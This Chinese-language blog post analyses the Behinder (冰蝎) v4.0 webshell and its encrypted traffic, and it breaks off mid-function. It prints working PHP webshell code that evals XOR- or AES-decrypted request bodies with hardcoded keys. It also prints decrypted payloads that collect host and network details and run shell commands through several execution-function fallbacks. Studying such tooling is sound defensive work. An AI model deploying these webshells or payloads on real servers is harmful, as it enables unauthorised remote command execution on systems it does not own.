0x01 前言

最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出

0x02 环境搭建

这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI

冰蝎项目源码地址:https://github.com/MountCloud/BehinderClientSource

拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。

0x03 冰蝎的使用与流量分析

冰蝎的使用

我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。

这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为 .php.aspx 和 .jsp,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流)

我们可以看一下 shell.php(先对 xor_base64 的传输协议进行分析,后续分析 xor_base64 这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。

v4.0 的代码

@error_reporting(0);
    function decrypt($data)
{
    $key="25f9e794323b4538"; 
    $bs="base64_"."decode";
    $after=$bs($data."");
    for($i=0;$i<strlen($after);$i++) {
        $after[$i] = $after[$i]^$key[$i+1&15]; 
    }
    return $after;
}
    $post=Decrypt(file_get_contents("php://input"));
    eval($post);
?>

这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。

v3.0 的代码

@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64 加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。

冰蝎流量分析

看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输

第一阶段-密钥协商

1.攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的请求服务器密钥;

2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。

第二阶段-加密传输

1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;

2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;

3)执行结果通过 AES 加密后返回给攻击者。

  • • 但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到 $_SESSION 变量当中存储了 md5 的高 16 位,反而 $_SESSION 变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。

我先选取的是 xor_base64 的加密方式,我在连上马之后还执行了 whoami 命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。

第一段代码,经过 xor_base64 的解密,得到如下代码

@error_reporting(0);
function main($content)
{
    $result = array();
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    @session_start();     
    echo encrypt(json_encode($result));
}
function encrypt($data)
{    
    $key="25f9e794323b4538"; 
    for($i=0;$i<strlen($data);$i++) {
        $data[$i] = $data[$i]^$key[$i+1&15];     
    }    
    $bs="base64_"."encode";
    $after=$bs($data."");    
    return $after;
}
$content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg==";
$content=base64_decode($content);
main($content);

我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了 $_session,而 msg 和第一个包里的 content 是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此)

接着我们往下看相应报文,相应报文经过 xor_base64 解密之后结果如下

{
"status":"c3VjY2Vzcw==",
"msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0MVloNWV4YUp5Q05MTEZVemVaQkNOOUVvUjhNell4cUY3NzJFenp3bXFPbVQ1emxPNjVDUE5DR2JGVzlpc1k2MVlMTVY5WHBKYzRrdjVjcEJmU3NGTkRFbHhvM282MlZvV1FGUjRqTHY3eVY5am9BUVRLcFRiaWVmTmJuQVJidmJQZmlNeFhKTm9QbzVMZWNmNDIxNlZNY000cXJySzVYeEY3ajA1TlpWd3R6MExZZUdNaXlWTmE3bzgyb0xQVVk3ZThaaUhta0x6OVdnbVd5SmpIUVQ5UWhORm8ybVRtNTZPMDhIRHpyMkVhRmpYd3YyWWQ4SjZCZjdHWEtNTGo1OXpHdEgxb2Nqa2dyTHpUMWcwaGtSeTZaRVdyY2NRaEJOZHVwcTlvME9wY1loYTNiSXU0c1lkQk04OFNSaDJGUUxxR0k1TzdIMWVvN0NJTjRRSmpvbUtqMXVVWEFwREVHeGFCMlJZdXU5VWh1MHJwMkdESEdkUHVzaEJBTEdwYUJjZkRBR0ZacjF6ME5XQlBJcnNMS2NoZ2NsNEdFZkY0YmJCVkR1ZXo0bFV3Tm1wc1pzQ0FqRWNDTXNkWmtBUUJwb3Y5YndOTW9peWVSVUcwTUVUQjdYZ096YjVxQjFMaHByWVV2OFV3N1pGNFJYQkNZcnlCd0xHckdkbjVMaHdIazFNVUxvRkpoU0dPaURlRzAzMnhZbEM5ekRjVmUxMlhkbFMwa2YxVGJRUzlyck5OSDF2TzNKZ1NiOTJ2NkhjMWxXaWxJVDlLa1hwVnFZOEhEc1U4bVg4MHF0bktsbkdCcHVsRUUyb2djZlkwR2FVY1RxM09aZXFMeUtlNWFBdzNhTEM2VlFrZFI2MHZwVENlZ1ZMWTBiN3lOTHBMN3A4TmFVMHVOUmNaNXl6cTRQSEhJNk5UakltTEhDUzlPRTREeUtGcm0xbk1KOUdPZEJsdEljOG5FclNiVFl2Q1padkY3YlNnYmhsanEwbWphem1vb21wWld0ZWlCSjM5NGxlbEpYWVVHWFN3dzIyOVd5SzZBdUNZSEU3S3V0TERHbWhCbnI1b0RScm1ySFh6bmx1aDUwTm4wb09ZZDYwTDFNcnpiQzJuQTdXOWVSRk45M0drc2p0MDhRSTByaW1QbDg3Ykw2MmZid0RXcFRxZjhwa3E3eXJWZ0p0N3Z0WVdHeVVxd0lnaE9ibVI4b1pvR0tiTFpOTW53akZlcDJ4ZWVzMnF2dktwTDBkNVZCblhiMmhhcHkzdFplOXpJQVpzWHE5OFFSTTJSUzMzWkt0cXhERWZLWElpcnh4aEhhZndyc1Q4OVN4bUVGUTVTOThsM016dDMwR0JMbUxENnNLQmZLYkQ4ekRRU0xJdGo5ME41Zzg2eng4NjRTeURBa0hPTGJYUnVISWRJeE1Manp6aTV6YjNnbENwTTFXenpVZVlacExyVW13QXJrTEJaanFhQTdQZTlUZWY2ZlJURWhwQmNxUUE2N09ZZnduVFB3akdwazY3Q2wxS3ZmSzFOeDRWQVRVR2tGZjY1enZoa0NDWVNqYWVGN0hCUFEzc3lJa2puVUI3TEdZSERVNDVVNHI1ZUxOTGVCc0Fhb1NSeUtuT3RCQ3Jsd05HTWxGejFYclZkc0NRMUIwWXRGS3FUd25NZVVmd3NzcGdPZWNFTW0xYnd3WnJKVlZSVG0zY29ZWk5HellrZExCS011WFN5dWVaRFVnc1dDWFdRTlJNcmUyVWJXa0hvYnA5QmF5U25GZ01MaXVKV2pXNFRqek9mekFJa2h2c2FwNlF4VTBjVVZxNXJhaGJGaW9VYTREVERPbTJoS055bk1uQWdVTnZFR1BUNXR2eWNQWEpVa2R4em9yb3dMc2RzY2dWYldGMXFSdEJKc0xQQlJsZ2Y4OWE4QWUxUHNqNms1OE9CRGhBMzRiOERYMTJ4OTZDYUNzZFBWMlJFWFEzdENHSFdZblJNb1FOclFSdXhZZjhPQmVNVm9IUjBiblJnV0RLWGI3ZWZhc2owYUl4Q1c2eDNRQkdQTXNsQmtoQW5UUnVYc0xFRGN5eENlNjBDdHhXN3hpaHA5Skc3S2tKbW5PUlNneWZiYXRvZG9EMHVHajhCQUYzRThuM3NHbVNCdEFkdk9OWjB0T3BPUVgzaW10Rks1QUFTeGJ4RHZZTGM4d2RBQXI4ZmUxQU5kRmVJUGhiUWxha0hIUmp3bmVhNnpNcTA4R0ZreFFPTFhOOExSMlZVdlBUYlowV1FPUXh0azhQVW0zaVM3YkhaeVAzVzdsVkJ0N2EwQjE5aUJicWkxbjNQenpLdWhURXJKTzE5Mm5JemxOREpTQm55cUJ4U0IwcERjZ0RoWHFQdG42VHAzQkh4eEJWUzVpVFczU1FPeHlVVmwydGdoWVphb3NzTGlsWWdVcnVBMEQwYjdKVlpqZ1lMV0dhcmdrZjZpa3dVSDNWZVZlN0FIemZWRHdJVFlpUTNPOFJSUjkwOEwwWkp0Y1ZSUzBZMWYwMDBQaHFSWGE2aDhpZWpnWXQ1V3UzWlZYZ1BJM0N3c1ZnVVB0eElWM0xUMHkyV3VDcDJLc2RDVEQyRXBKMzVKUnpCTWd3dTFhajBvaWlyaXBGY04zbmpyQjBESE1Xck5tMFRNUWZvTU9uSTYzcXhxTE1kcngyelhmTlFmbTNKTWRKTDRONUtYSXZRYmI4Q090bHNsVG1oRmVMbEQzUWFWTmJEYUxXdEZhRTltNHdIRHl2eGM3b3lGVHBZYWdWTUNHM3BrMVJscTM2OFRYS1RhSmRTYVgyNmcyalhZNjBjb0RZalJ3QkpPWVlkb01DUzVoRGY3SWdZSkNNMUxLenlXZEtQSUtDaUpoTnQ5S2FXNlFnR0pNZUxxUVJ3R0FnNDQ3cmc1M2c0a1ptSW5oNDBTbGFpQnB3a3p5MWVnb0JvVXhZa2FOZnVJTGFvNXhZb2FYOHRZTjhBNHlxTjlJRWszY0tuVVNqTjRST0RMUHh0ZGlHRnNWSWxabkpQVFVjUnVyclRWbGV3SE05UXVydU14d1hXdjdHT205cjdISG9sOUsxbUExNDh4bGMzZU5IeVl3VmJRVHFoeUlWZGQ5b0JMeTlqOXZ0UkFnV250TE5tWmtZRUxvbXdHV0xUN2k5MnJGZ2VLZERPd1M1ZUtsVg=="
}

经过 base64 解密,status 对应的是 success,证明能够收到这个包,并且和前面对照上。

继续分析下一个包,代码如下,这里就进行了命令执行

error_reporting(0);
function main($whatever) 
{    
    $result = array();    
    ob_start(); 
    phpinfo(); 
    $info = ob_get_contents(); 
    ob_end_clean();    
    $driveList ="";    
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){        
        for($i=65;$i<=90;$i++) {    
            $drive=chr($i).':/';    
            file_exists($drive) ? $driveList=$driveList.$drive.";":'';    
        }    
    } else {
        $driveList="/";
    }    
    $currentPath=getcwd();    
    //echo "phpinfo=".$info.""."currentPath=".$currentPath.""."driveList=".$driveList;
    $osInfo=PHP_OS;    
    $arch="64";    
    if (PHP_INT_SIZE == 4) {
        $arch = "32";    
    }    
    $localIp=gethostbyname(gethostname());    
    if ($localIp!=$_SERVER['SERVER_ADDR']) {        
        $localIp=$localIp." ".$_SERVER['SERVER_ADDR'];    
    }    
    $extraIps=getInnerIP();    
    foreach($extraIps as $ip) {        
        if (strpos($localIp,$ip)===false) {         
            $localIp=$localIp." ".$ip;        
        }    
    }    
    $basicInfoObj=array(
        "basicInfo"=>base64_encode($info),
        "driveList"=>base64_encode($driveList),
        "currentPath"=>base64_encode($currentPath),
        "osInfo"=>base64_encode($osInfo),
        "arch"=>base64_encode($arch),
        "localIp"=>base64_encode($localIp));    
        //echo json_encode($result);    
        $result["status"] = base64_encode("success");    
        $result["msg"] = base64_encode(json_encode($basicInfoObj));    
        //echo json_encode($result);    
        //echo openssl_encrypt(json_encode($result), "AES128", $key);    
        echo encrypt(json_encode($result));
    }
    function getInnerIP()
    {
        $result = array();
        if (is_callable("exec"))
        {    
            $result = array();    
            exec('arp -a',$sa);    
            foreach($sa as $s)    
            {        
                if (strpos($s,'---')!==false) {
                    $parts=explode(' ',$s);
                    $ip=$parts[1];
                    array_push($result,$ip);
                } 
                //var_dump(explode(' ',$s));           
                // array_push($result,explode(' ',$s)[1]);    
            }
        }
        return $result;
    }
    function encrypt($data)
    {    
        $key="25f9e794323b4538"; 
        for($i=0;$i<strlen($data);$i++) {    
            $data[$i] = $data[$i]^$key[$i+1&15];     
        }    
        $bs="base64_"."encode";
        $after=$bs($data."");    
        return $after;
    }
    $whatever="RWN4cTE4VFlUNGRVUWhaalZ5UW1Kamw4R2RTZlJIalhlRFg2djR3Y1RLVFhhWnQxaFhES3ZBMW9QYjlPWmlGNlEyNUNVcXVkV2J4Q0dTUG5YZ3B2RjRDVWlGbGwxNVk2d3RMWUhnbjRVWWRETDdVbHNoWjNrZmNCNlUzNWNRRW5hU1g1RFNQSDI1Snpmc2ZqRzJBQWJyaDZMUDVxMWZuMm1JVzIxTklWR0JraTViUE1XTnBnVG5wVFJ5cEpsQmdCTlJmSW1WYzIzRERmVlRoeDBpQ1pLcHpvVVdzMXZmUXM5NkhMVFVUNGhpQ3NXZWVYTFk1TnJOdHZNVEFXcTlMYUhFOHRoRUhzaXpBQldnaWtYUkhweDc1b2pvWWpyTUJOMkxvNmpuNWRndDVDSTNJc2I4dHpUdHF3dG5yRGxYNTlHNEtyS0NMSUw3Ym9lQk9mWjJldnlQSk5Jc2RCOU9SRVVUSGk0Q1NLaFJjNkJpcUZGMVM0MWVDcFdtaEpYT2hEaHVkdnNMUUNPbzREQ3pKekhjdG5KZXBuemJ0YkE1TU50bXhWTUNoOUM5dm5VMDNZM3IyRFBOZVJqeUd0b0t2ZFdhWk5ETU96WHEzdmFQQmFobXdNcTBvdVlyanlPZmVaRVNMYXhwWlFlVWtvendGOTlUaGJaUTZVVU82dVFZVEVMUHJJWnFYeFRVbXNhaGxqZnFmZmJGbVBIbGxQSlNaSmtpRnNORkM3UFRNbjFoOFlmUUYwVm1RNW1oMXVlbllTNEd4NXB4UVNHV2lzTE1UaFpaTUJNeHZlRldGZ2E3ZHA1MDA3ZXhHbG5rUEZjZ21jZjJFUktDUDdkajlNQVk5OHdEOXhkQVBkQTZhQ2ozeERja2VFZzZVWnhaMmQ5ZzF2c1BmdWRPbkZJSTc3MnJuSFE0emxDSllFSGxXQmVWeXhycjRkRHNzdkFKZTBRT2U4VXpoYkJ5YjhzOXpvZU54dm00S2VhY1R2QUdhalBBUFBSZlV3dDZwbnhxdjF3ZjVKZEhOSmxvRXJERWNIRTYyQWZmSGZseXNqbXBOVHZ4WGFJTE9WdTBHRUlpUXA1ZU4xOUluTktMc2huZnNSR0hBUjh3aWFyZ2MwVElCYmwyZG9lVmt4Qm5seGl6QmlyODBqZDlrR3pacHhncGUyTlpGVHNMdlR3WFZlZHduWVlMeVF5TjNORFpNdWVhVE9ZemJQT2VaZ2g1d3VSZEtjYUtEQUhCYmozd0lOeW1vd3Y0eGJ6cGtuUmZGUDlrOVA1MFdKT0FrbUVvUXE2TW1KdlNXWmw1ZzB4YmNValVDeDI1WHFwd3FLa1J4UTFZR24xM3NoVWhzY3Z6aHBqVzA4SUsweGFLTW5QNDY5RXB5VkF0RUpYYXpZem81aXpzVVRqcmxBRktoZnNKclZkR2ZRZFVxTmJQZnV3R2JqZVBpWXVOUThmVW0yOEszaFJXV3RtWkFXQ0JCeHRGQk1BQlg5ZmxVQktZUnc2cHd6dDRIMzY4N0NobW9JSE5QQ2QwUjQzdkx1aEM2SmdFSUZkZXVpRjUxODFZVVZFQWF1WU82bmxiOEo2RnBEU0Q0SHVsNDYyQXBRQzF6N0JEZ0c3aklhQWNkNWhGT0k0bFBxQXc2S0ZCUWE5QVM5NktWSVRDajFMN1dYSFZKZ01XN005RThyeFRBaXlseWJreFV1b256VWlNS0lBU2wwZkVjcjNZTFVrUTFtQUxKb2ZJc0s4SjllZG9Ca0RXWWY4eEJ1VVJLTVJLaGtYdm52cU5ySmx4MlJmbmtwQlV2QmVWYVZvbzlOeXB6Q0NTVmpZM2RYdlVUdk9FbUdldHJ4eU5kZTNoQ1FlMmduckRVM1F1andxN1NKTURVRld3YVBueHRlRnR3V2FScTY2WlRURHpIRHNDUkF3UDdnUkNSNGZKaHJzZmlINXRWcGpvdWprZlc4Zk93UUFYYVV2V3VaakRwMVFWTWRBN2JXMGZIbU1QNkdXb2VDeFZiWUdOSDV1OTluejRxNUM3emliVDMzNkVSWnRIUVh2M0s1ZW5BcEgyNkwyZlBYaUJtaU1zcHZMOGloeFlWdTJtRE9aOTdKc2drYnRqNGZLSWNnSEJtOUZxbmFTWmVoblNjVURnY3o2RDE1RmxkZjM2bnptQWtaSW1WR083enplakQ4cFpDUXBGdTZtMkRIVk51NG8xcEJOZVhLZXVNSjd6VVIyM1VuOElVVDlKUHZQeE0yZk5EZ09yUEJXczdwSHk0TklHbFRJbGZWZ0tGTFBnNVZTWmZaOXhaTnpQVm9kWUZDS1RwWlNSUGtCS2NqcWFyeEhSanRHTkZveXh2M0poRjhDdkN0emFuTlM2OHp5WTQyekIzM0NXNmdGeGdvaFdMVkJiVUlES3RsVWhGdDBTZnZ3bDlEZDdIWFdmbXFjcFZpWmNxRE1mcWVXaVg3STh6YzNxY3dscHlzVFNsSVl5anZGc2hhREFNWTZsNG1qMFdsRHppZHhFOXpldmtPeFpETzlheVBJOWJlbWxDNmk4WUppR1dnRTNqclI0ZUw0T0xncEJNQnZyS0RUckF2QTNnUXdyTU9iOHFhZzJ1VzFXRHhMQ0ZRRktNWGVVYjJhcFhDRjMyQkIzRzBpU1VBVGJMSVBpeEltOHBVakRMazkyZDBkR29heEVPeWl4U1ZjWENEampLaHBFVm13NkFQQTI0VUNpUFd1TVR5S21aTTFnNUszdzd0SjFuNzNhV200RFE0OG9Oakhmbm81Y0FPT05uWlAyVE9SWGJibFFYb1VPcW5idXFCRmlrQTJRVnQwazdBYkdmbWp0Z01Bbk5xODFUUEpOVzdvYzNTbDBFYUNLOEpCMTNialBTam5hdkZSdU5vNWxpWkhZSTlMOWNBRkdhMDhDMUhlYXpFR0plalhINjJNMUo3NlphNnNZT1hLN202d05wZnhTVTh5WGlPSG1GNlVPVVNJdHVGVWFMcW1Td00yMTFrbFdFTG40cEREQ3Ftd3NMZEpiV2szOE5FZXh5QW9kSmV0dDVuWlVKdlNXVFF1VVE0WVJRWlR3V2ZEaGZxTGI2RzRKaEtXYmFIYUdIaGtrQWk5Wm9Rbkx4RUVVdGJCSjJjVmNwMjhKRVNKMGpSSFNZYU83ek1US3Z3ZVlGN0ZTMk5hUlhBOUx1NkFjemxCYTNraXd6TEZmNlZrWEM5WVVCVURTVkhmdHVrTDNOWnRxVlB2R2dUZGpNVzJLTzFFcXpIVHBXblVpejU2MXNRTjNNa25UUWh5V2xVcFZOeFpmN1hBR0IwMnJVSk1yczVQblhZMXpadDhqbmF4d2h3amVWYnpiZ3FYc0ZBeXAydkpCbGtnVUg2NzRjQ3J4OUM0YzdTdW96bkZVOVZBeGJlekNRc2VqMElSNkxyQlNmZkNwYkwycjJLN0xBWTZFTnNiQjh3bFBuM1dvMTA4Y2IzcHNGT0Q3dzROcHNsSHZpc0szZVZVQ0psRm93RjdZSk5JQzVITWVZRmtjaEtkS1dDUUdOT3RwaDh3";
$whatever=base64_decode($whatever);
main($whatever);
  • • 这里我不太明白传入的 $whatever 是做什么的,感觉没什么用,这个脚本本质上还是在运行 phpinfo() 的命令执行。

把相应包解密出来,内容如下

{
"status":"c3VjY2Vzcw==",
"msg":"xxx略,篇幅太长"
}

把这一串 msg 内容放到 base64 解密,不难发现响应内容其实就是 phpinfo() 的命令回显。

至于后面的命令执行部分,是比较好分析的

把流量包提取出来,进行解密

@error_reporting(0);
function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd,$path)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result));
        return;
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result));
}
function encrypt($data)
